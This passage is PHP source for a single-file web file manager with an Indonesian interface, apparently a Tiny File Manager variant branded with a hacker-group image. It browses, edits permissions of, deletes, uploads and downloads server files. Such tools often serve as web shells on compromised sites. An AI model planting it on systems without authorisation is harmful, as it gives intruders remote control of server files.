                $content = \'<pre class="with-hljs"><code class="\' . $hljs_class . \'">\' . fm_enc($content) . \'</code></pre>\';
            } elseif (in_array($ext, array(\'php\', \'php4\', \'php5\', \'phtml\', \'phps\'))) {
                // php 
                $content = highlight_string($content, true);
            } else {
                $content = \'<pre>\' . fm_enc($content) . \'</pre>\';
            }
            echo $content;
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// Windows 
if (isset($_GET[\'chmod\']) && !FM_IS_WIN) {
    $file = $_GET[\'chmod\'];
    $file = fm_clean_path($file);
    $file = str_replace(\'/\', \'\', $file);
    if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {
        fm_set_msg(\'Belum ada file yang ditemukan.\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }

    fm_show_header(); // 
    fm_show_nav_path(FM_PATH); // 

    $file_url = FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file;
    $file_path = $path . \'/\' . $file;

    $mode = fileperms($path . \'/\' . $file);

    ?>
    <div class="path">
        <p><b>mengubah izin</b></p>
        <p>
            Rute lengkap<?php echo fm_enc($file_path) ?><br>
        </p>
        <form action="" method="post">
            <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
            <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

            <table class="compact-table">
                <tr>
                    <td></td>
                    <td><b>pemilik/admin</b></td>
                    <td><b>grup pengguna</b></td>
                    <td><b>publik</b></td>
                </tr>
                <tr>
                    <td style="text-align: right"><b>membaca/read</b></td>
                    <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? \' checked\' : \'\' ?>></label></td>
                    <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? \' checked\' : \'\' ?>></label></td>
                    <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? \' checked\' : \'\' ?>></label></td>
                </tr>
                <tr>
                    <td style="text-align: right"><b>menulis/write</b></td>
                    <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? \' checked\' : \'\' ?>></label></td>
                    <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? \' checked\' : \'\' ?>></label></td>
                    <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? \' checked\' : \'\' ?>></label></td>
                </tr>
                <tr>
                    <td style="text-align: right"><b>eksekusi</b></td>
                    <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? \' checked\' : \'\' ?>></label></td>
                    <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? \' checked\' : \'\' ?>></label></td>
                    <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? \' checked\' : \'\' ?>></label></td>
                </tr>
            </table>

            <p>
                <button class="btn"> Mengubah</button>
                <button class="btn"><a href="?p=<?php echo urlencode(FM_PATH) ?>"> Batalkan</a></button>
            </p>

        </form>

    </div>
    <?php
    fm_show_footer();
    exit;
}

//--- 
fm_show_header(); // 
fm_show_nav_path(FM_PATH); // 

// 
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<table><tr>
<th style="width:3%"><label><input type="checkbox" title="Invert selection" onclick="checkbox_toggle()"></label></th>
<th>Nama</th><th style="width:10%">Ukuran file</th>
<th style="width:12%">tanggal modifikasi</th>
<?php if (!FM_IS_WIN): ?><th style="width:6%">izin</th><th style="width:10%">pemilik</th><?php endif; ?>
<th style="width:13%"></th></tr>
<?php
// 
if ($parent !== false) {
    ?>
<tr><td></td><td colspan="<?php echo !FM_IS_WIN ? \'6\' : \'4\' ?>"><a href="?p=<?php echo urlencode($parent) ?>"><i class="icon-arrow_up"></i> ..</a></td></tr>
<?php
}
foreach ($folders as $f) {
    $is_link = is_link($path . \'/\' . $f);
    $img = $is_link ? \'icon-link_folder\' : \'icon-folder\';
    $modif = date(FM_DATETIME_FORMAT, filemtime($path . \'/\' . $f));
    $perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);
    if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {
        $owner = posix_getpwuid(fileowner($path . \'/\' . $f));
        $group = posix_getgrgid(filegroup($path . \'/\' . $f));
    } else {
        $owner = array(\'name\' => \'?\');
        $group = array(\'name\' => \'?\');
    }
    ?>
<tr>
<td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td>
<td><div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? \' &rarr; <i>\' . fm_enc(readlink($path . \'/\' . $f)) . \'</i>\' : \'\') ?></div></td>
<td>folder</td><td><?php echo $modif ?></td>
<?php if (!FM_IS_WIN): ?>
<td><a title="mengubah izin" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td>
<td><?php echo fm_enc($owner[\'name\'] . \':\' . $group[\'name\']) ?></td>
<?php endif; ?>
<td>
<a title="Menghapus" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm(\'menghapus\');"><i class="icon-cross"></i></a>
<a title="Ganti nama" href="#" onclick="rename(\'<?php echo fm_enc(FM_PATH) ?>\', \'<?php echo fm_enc($f) ?>\');return false;"><i class="icon-rename"></i></a>
<a title="Menyalin" href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="icon-copy"></i></a>
<a title="View" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f . \'/\') ?>" target="_blank"><i class="icon-chain"></i></a>
</td></tr>
    <?php
    flush();
}

foreach ($files as $f) {
    $is_link = is_link($path . \'/\' . $f);
    $img = $is_link ? \'icon-link_file\' : fm_get_file_icon_class($path . \'/\' . $f);
    $modif = date(FM_DATETIME_FORMAT, filemtime($path . \'/\' . $f));
    $filesize_raw = filesize($path . \'/\' . $f);
    $filesize = fm_get_filesize($filesize_raw);
    $filelink = \'?p=\' . urlencode(FM_PATH) . \'&view=\' . urlencode($f);
    $all_files_size += $filesize_raw;
    $perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);
    if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {
        $owner = posix_getpwuid(fileowner($path . \'/\' . $f));
        $group = posix_getgrgid(filegroup($path . \'/\' . $f));
    } else {
        $owner = array(\'name\' => \'?\');
        $group = array(\'name\' => \'?\');
    }
    ?>
<tr>
<td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td>
<td><div class="filename"><a href="<?php echo fm_enc($filelink) ?>" title="File info"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? \' &rarr; <i>\' . fm_enc(readlink($path . \'/\' . $f)) . \'</i>\' : \'\') ?></div></td>
<td><span class="gray" title="<?php printf(\'%s bytes\', $filesize_raw) ?>"><?php echo $filesize ?></span></td>
<td><?php echo $modif ?></td>
<?php if (!FM_IS_WIN): ?>
<td><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td>
<td><?php echo fm_enc($owner[\'name\'] . \':\' . $group[\'name\']) ?></td>
<?php endif; ?>
<td>
<a title="Menghapus" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm(\'menghapus\');"><i class="icon-cross"></i></a>
<a title="Ganti nama" href="#" onclick="rename(\'<?php echo fm_enc(FM_PATH) ?>\', \'<?php echo fm_enc($f) ?>\');return false;"><i class="icon-rename"></i></a>
<a title="menyalin" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="icon-copy"></i></a>
<a title="View" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f) ?>" target="_blank"><i class="icon-chain"></i></a>
<a title="Download" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="icon-download"></i></a>
</td></tr>
    <?php
    flush();
}

if (empty($folders) && empty($files)) {
    ?>
<tr><td></td><td colspan="<?php echo !FM_IS_WIN ? \'6\' : \'4\' ?>"><em>Folder kosong.</em></td></tr>
<?php
} else {
    ?>
<tr><td class="gray"></td><td class="gray" colspan="<?php echo !FM_IS_WIN ? \'6\' : \'4\' ?>">
ukuran file keseluruhan<span title="<?php printf(\'%s bytes\', $all_files_size) ?>"><?php echo fm_get_filesize($all_files_size) ?></span><br>
jumlah file<?php echo $num_files ?><br>
jumlah folder<?php echo $num_folders ?>
</td></tr>
<?php
}
?>
</table>
<p class="path"><a href="#" onclick="select_all();return false;"><i class="icon-checkbox"></i> Pilih Semua</a> &nbsp;
<a href="#" onclick="unselect_all();return false;"><i class="icon-checkbox_uncheck"></i> batalkan pilihan semua</a> &nbsp;
<a href="#" onclick="invert_all();return false;"><i class="icon-checkbox_invert"></i> Pilih terbalik</a></p>
<p>&nbsp;<input type="submit" class="btn btn-default" name="delete" value="menghapus" onclick="return confirm(\'Apakah Anda benar-benar ingin menghapus file yang dipilih?\')">
<input type="submit" class="btn btn-default" name="zip" value="Kompresi" onclick="return confirm(\'Kompresi?\')">
<input type="submit" class="btn btn-default" name="copy" value="menyalin"></p>
</form>

<?php
fm_show_footer();

//--- 

// 

/**
 * Delete file or folder (recursively)
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (!fm_rdelete($path . \'/\' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (!fm_rchmod($path . \'/\' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (!fm_rcopy($path . \'/\' . $file, $dest . \'/\' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists(\'finfo_open\')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists(\'mime_content_type\')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get(\'disable_functions\'), \'shell_exec\')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec(\'file -bi \' . $file);
        return $mime;
    } else {
        return \'--\';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header(\'Location: \' . $url, true, $code);
    exit;
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path)
{
    $path = trim($path);
    $path = trim($path, \'\/\');
    $path = str_replace(array(\'../\', \'..\\'), \'\', $path);
    if ($path == \'..\') {
        $path = \'\';
    }
    return str_replace(\'\\', \'/\', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != \'\') {
        $array = explode(\'/\', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode(\'/\', $array);
        }
        return \'\';
    }
    return false;
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    if ($size < 1000) {
        return sprintf(\'%s B\', $size);
    } elseif (($size / 1024) < 1000) {
        return sprintf(\'%s KiB\', round(($size / 1024), 2));
    } elseif (($size / 1024 / 1024) < 1000) {
        return sprintf(\'%s MiB\', round(($size / 1024 / 1024), 2));
    } elseif (($size / 1024 / 1024 / 1024) < 1000) {
        return sprintf(\'%s GiB\', round(($size / 1024 / 1024 / 1024), 2));
    } else {
        return sprintf(\'%s TiB\', round(($size / 1024 / 1024 / 1024 / 1024), 2));
    }
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path)
{
    if (function_exists(\'zip_open\')) {
        $arch = zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = zip_read($arch)) {
                $zip_name = zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == \'/\';
                $filenames[] = array(
                    \'name\' => $zip_name,
                    \'filesize\' => zip_entry_filesize($zip_entry),
                    \'compressed_size\' => zip_entry_compressedsize($zip_entry),
                    \'folder\' => $zip_folder
                    //\'compression_method\' => zip_entry_compressionmethod($zip_entry),
                );
            }
            zip_close($arch);
            return $filenames;
        }
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, \'UTF-8\');
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = \'ok\')
{
    $_SESSION[\'message\'] = $msg;
    $_SESSION[\'status\'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match(\'//u\', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists(\'iconv\')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $filename);
    }
    return $filename;
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case \'ico\': case \'gif\': case \'jpg\': case \'jpeg\': case \'jpc\': case \'jp2\':
        case \'jpx\': case \'xbm\': case \'wbmp\': case \'png\': case \'bmp\': case \'tif\':
        case \'tiff\':
            $img = \'icon-file_image\';
            break;
        case \'txt\': case \'css\': case \'ini\': case \'conf\': case \'log\': case \'htaccess\':
        case \'passwd\': case \'ftpquota\': case \'sql\': case \'js\': case \'json\': case \'sh\':
        case \'config\': case \'twig\': case \'tpl\': case \'md\': case \'gitignore\':
        case \'less\': case \'sass\': case \'scss\': case \'c\': case \'cpp\': case \'cs\': case \'py\':
        case \'map\': case \'lock\': case \'dtd\':
            $img = \'icon-file_text\';
            break;
        case \'zip\': case \'rar\': case \'gz\': case \'tar\': case \'7z\':
            $img = \'icon-file_zip\';
            break;
        case \'php\': case \'php4\': case \'php5\': case \'phps\': case \'phtml\':
            $img = \'icon-file_php\';
            break;
        case \'htm\': case \'html\': case \'shtml\': case \'xhtml\':
            $img = \'icon-file_html\';
            break;
        case \'xml\': case \'xsl\': case \'svg\':
            $img = \'icon-file_code\';
            break;
        case \'wav\': case \'mp3\': case \'mp2\': case \'m4a\': case \'aac\': case \'ogg\':
        case \'oga\': case \'wma\': case \'mka\': case \'flac\': case \'ac3\': case \'tds\':
            $img = \'icon-file_music\';
            break;
        case \'m3u\': case \'m3u8\': case \'pls\': case \'cue\':
            $img = \'icon-file_playlist\';
            break;
        case \'avi\': case \'mpg\': case \'mpeg\': case \'mp4\': case \'m4v\': case \'flv\':
        case \'f4v\': case \'ogm\': case \'ogv\': case \'mov\': case \'mkv\': case \'3gp\':
        case \'asf\': case \'wmv\':
            $img = \'icon-file_film\';
            break;
        case \'eml\': case \'msg\':
            $img = \'icon-file_outlook\';
            break;
        case \'xls\': case \'xlsx\':
            $img = \'icon-file_excel\';
            break;
        case \'csv\':
            $img = \'icon-file_csv\';
            break;
        case \'doc\': case \'docx\':
            $img = \'icon-file_word\';
            break;
        case \'ppt\': case \'pptx\':
            $img = \'icon-file_powerpoint\';
            break;
        case \'ttf\': case \'ttc\': case \'otf\': case \'woff\':case \'woff2\': case \'eot\': case \'fon\':
            $img = \'icon-file_font\';
            break;
        case \'pdf\':
            $img = \'icon-file_pdf\';
            break;
        case \'psd\':
            $img = \'icon-file_photoshop\';
            break;
        case \'ai\': case \'eps\':
            $img = \'icon-file_illustrator\';
            break;
        case \'fla\':
            $img = \'icon-file_flash\';
            break;
        case \'swf\':
            $img = \'icon-file_swf\';
            break;
        case \'exe\': case \'msi\':
            $img = \'icon-file_application\';
            break;
        case \'bat\':
            $img = \'icon-file_terminal\';
            break;
        default:
            $img = \'icon-document\';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array(\'ico\', \'gif\', \'jpg\', \'jpeg\', \'jpc\', \'jp2\', \'jpx\', \'xbm\', \'wbmp\', \'png\', \'bmp\', \'tif\', \'tiff\', \'psd\');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array(\'webm\', \'mp4\', \'m4v\', \'ogm\', \'ogv\', \'mov\');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array(\'wav\', \'mp3\', \'ogg\', \'m4a\');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        \'txt\', \'css\', \'ini\', \'conf\', \'log\', \'htaccess\', \'passwd\', \'ftpquota\', \'sql\', \'js\', \'json\', \'sh\', \'config\',
        \'php\', \'php4\', \'php5\', \'phps\', \'phtml\', \'htm\', \'html\', \'shtml\', \'xhtml\', \'xml\', \'xsl\', \'m3u\', \'m3u8\', \'pls\', \'cue\',
        \'eml\', \'msg\', \'csv\', \'bat\', \'twig\', \'tpl\', \'md\', \'gitignore\', \'less\', \'sass\', \'scss\', \'c\', \'cpp\', \'cs\', \'py\',
        \'map\', \'lock\', \'dtd\', \'svg\',
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        \'application/xml\',
        \'application/javascript\',
        \'application/x-javascript\',
        \'image/svg+xml\',
        \'message/rfc822\',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        \'license\',
        \'readme\',
        \'authors\',
        \'contributors\',
        \'changelog\',
    );
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (is_dir($path . \'/\' . $file)) {
                        if (!$this->addDir($path . \'/\' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . \'/\' . $file)) {
                        if (!$this->zip->addFile($path . \'/\' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

//--- templates functions

/**
 * 
 */
function fm_show_nav_path($path)
{
    ?>
<div class="path">
<div class="float-left">
<a title="Upload Folder" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="icon-upload"></i></a>
<a title="Buat folder baru." href="#" onclick="newfolder(\'<?php echo fm_enc(FM_PATH) ?>\');return false;"><i class="icon-folder_add"></i></a>
<?php if (FM_USE_AUTH): ?><a title="Logout dari sistem." href="?logout=1"><i class="icon-logout"></i></a><?php endif; ?>
</div>
&nbsp;
<div class="float-left">
        <?php
        $path = fm_clean_path($path);
        $root_url = "<a href=\'?p=\'><i class=\'icon-home\' title=\'" . FM_ROOT_PATH . "\'></i></a>";
        $sep = \'<i class="icon-separator"></i>\';
        if ($path != \'\') {
            $exploded = explode(\'/\', $path);
            $count = count($exploded);
            $array = array();
            $parent = \'\';
            for ($i = 0; $i < $count; $i++) {
                $parent = trim($parent . \'/\' . $exploded[$i], \'/\');
                $parent_enc = urlencode($parent);
                $array[] = "<a href=\'?p={$parent_enc}\'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
            }
            $root_url .= $sep . implode($sep, $array);
        }
        echo \'<div class="break-word">\' . $root_url . \'</div>\';
        ?>
</div>
</div>
<?php
}

/**
 * 
 */
function fm_show_message()
{
    if (isset($_SESSION[\'message\'])) {
        $class = isset($_SESSION[\'status\']) ? $_SESSION[\'status\'] : \'ok\';
        echo \'<p class="message \' . $class . \'">\' . $_SESSION[\'message\'] . \'</p>\';
        unset($_SESSION[\'message\']);
        unset($_SESSION[\'status\']);
    }
}

/**
 *  html 
 */
function fm_show_header()
{
    $sprites_ver = \'20180724\';
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 24 Jul 2018 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");
    ?>
<!DOCTYPE html>
<html>
<head>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-backstretch/2.0.4/jquery.backstretch.min.js"></script>
<script>
jQuery(document).ready(function() {
	
    /*
        
    */
    $.backstretch([
                    "https://nullcyber.or.id/gambar/null.png"
	             ]);
    
    /*
        
    */
    $(\'.login-form input[type="text"], .login-form input[type="password"], .login-form textarea\').on(\'focus\', function() {
    	$(this).removeClass(\'input-error\');
    });
    
    $(\'.login-form\').on(\'submit\', function(e) {
    	
    	$(this).find(\'input[type="text"], input[type="password"], textarea\').each(function(){
    		if( $(this).val() == "" ) {
    			e.preventDefault();
    			$(this).addClass(\'input-error\');
    		}
    		else {
    			$(this).removeClass(\'input-error\');
    		}
    	});
    	
    });
    
    
});
</script>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>

<!---->

textarea, 
textarea.form-control {
	height: 50px;
    margin: 0;
    padding: 0 20px;
    vertical-align: middle;
    background: #f8f8f8;
    border: 3px solid #ddd;
    font-family: \'Roboto\', sans-serif;
    font-size: 16px;
    font-weight: 300;
    line-height: 50px;
    color: #888;
    -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px;
    -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none;
    -o-transition: all .3s; -moz-transition: all .3s; -webkit-transition: all .3s; -ms-transition: all .3s; transition: all .3s;
}

textarea, 
textarea.form-control {
	padding-top: 10px;
	padding-bottom: 10px;
	line-height: 30px;
}

input[type="text"]:focus, 
input[type="password"]:focus, 
textarea:focus, 
textarea.form-control:focus {
	outline: 0;
	background: #fff;
    border: 3px solid #ccc;
    -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none;
}

input[type="text"]:-moz-placeholder, input[type="password"]:-moz-placeholder, 
textarea:-moz-placeholder, textarea.form-control:-moz-placeholder { color: #888; }

input[type="text"]:-ms-input-placeholder, input[type="password"]:-ms-input-placeholder, 
textarea:-ms-input-placeholder, textarea.form-control:-ms-input-placeholder { color: #888; }

input[type="text"]::-webkit-input-placeholder, input[type="password"]::-webkit-input-placeholder, 
textarea::-webkit-input-placeholder, textarea.form-control::-webkit-input-placeholder { color: #888; }



button.btn {
	height: 50px;
    margin: 0;
    padding: 0 20px;
    vertical-align: middle;
    background: #2c35d4;
    border: 0;
    font-family: \'Roboto\', sans-serif;
    font-size: 16px;
    font-weight: 300;
    line-height: 50px;
    color: #fff;
    -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px;
    text-shadow: none;
    -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none;
    -o-transition: all .3s; -moz-transition: all .3s; -webkit-transition: all .3s; -ms-transition: all .3s; transition: all .3s;
}

button.btn:hover { opacity: 0.6; color: #fff; }

button.btn:active { outline: 0; opacity: 0.6; color: #fff; -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none; }

button.btn:focus { outline: 0; opacity: 0.6; background: #2c35d4; color: #fff; }

button.btn:active:focus, button.btn.active:focus { outline: 0; opacity: 0.6; background: #2c35d4; color: #fff; }

</style>
<style>

<!---->

body {
    font-family: \'Roboto\', sans-serif;
    font-size: 16px;
    font-weight: 300;
    color: #888;
    line-height: 30px;
    text-align: left;
}

strong { font-weight: 500; }

a, a:hover, a:focus {
	color: #2c35d4;
	text-decoration: none;
    -o-transition: all .3s; -moz-transition: all .3s; -webkit-transition: all .3s; -ms-transition: all .3s; transition: all .3s;
}

h1, h2 {
	margin-top: 10px;
	font-size: 38px;
    font-weight: 100;
    color: #555;
    line-height: 50px;
}

h3 {
	font-size: 22px;
    font-weight: 300;
    color: #555;
    line-height: 30px;
}

img { max-width: 100%; }

::-moz-selection { background: #2c35d4; color: #fff; text-shadow: none; }
::selection { background: #2c35d4; color: #fff; text-shadow: none; }


.btn-link-1 {
	display: inline-block;
	height: 50px;
	margin: 5px;
	padding: 16px 20px 0 20px;
	background: #2c35d4;
	font-size: 16px;
    font-weight: 300;
    line-height: 16px;
    color: #fff;
    -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px;
}
.btn-link-1:hover, .btn-link-1:focus, .btn-link-1:active { outline: 0; opacity: 0.6; color: #fff; }

.btn-link-1.btn-link-1-facebook { background: #4862a3; }
.btn-link-1.btn-link-1-twitter { background: #55acee; }
.btn-link-1.btn-link-1-google-plus { background: #dd4b39; }

.btn-link-1 i {
	padding-right: 5px;
	vertical-align: middle;
	font-size: 20px;
	line-height: 20px;
}

.btn-link-2 {
	display: inline-block;
	height: 50px;
	margin: 5px;
	padding: 15px 20px 0 20px;
	background: rgba(0, 0, 0, 0.3);
	border: 1px solid #fff;
	font-size: 16px;
    font-weight: 300;
    line-height: 16px;
    color: #fff;
    -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px;
}
.btn-link-2:hover, .btn-link-2:focus, 
.btn-link-2:active, .btn-link-2:active:focus { outline: 0; opacity: 0.6; background: rgba(0, 0, 0, 0.3); color: #fff; }


/***** Top content *****/

.inner-bg {
    padding: 100px 0 170px 0;
}

.top-content .text {
	color: #fff;
}

.top-content .text h1 { color: #fff; }

.top-content .description {
	margin: 20px 0 10px 0;
}

.top-content .description p { opacity: 0.8; }

.top-content .description a {
	color: #fff;
}
.top-content .description a:hover, 
.top-content .description a:focus { border-bottom: 1px dotted #fff; }

.form-box {
	margin-top: 35px;
}

.form-top {
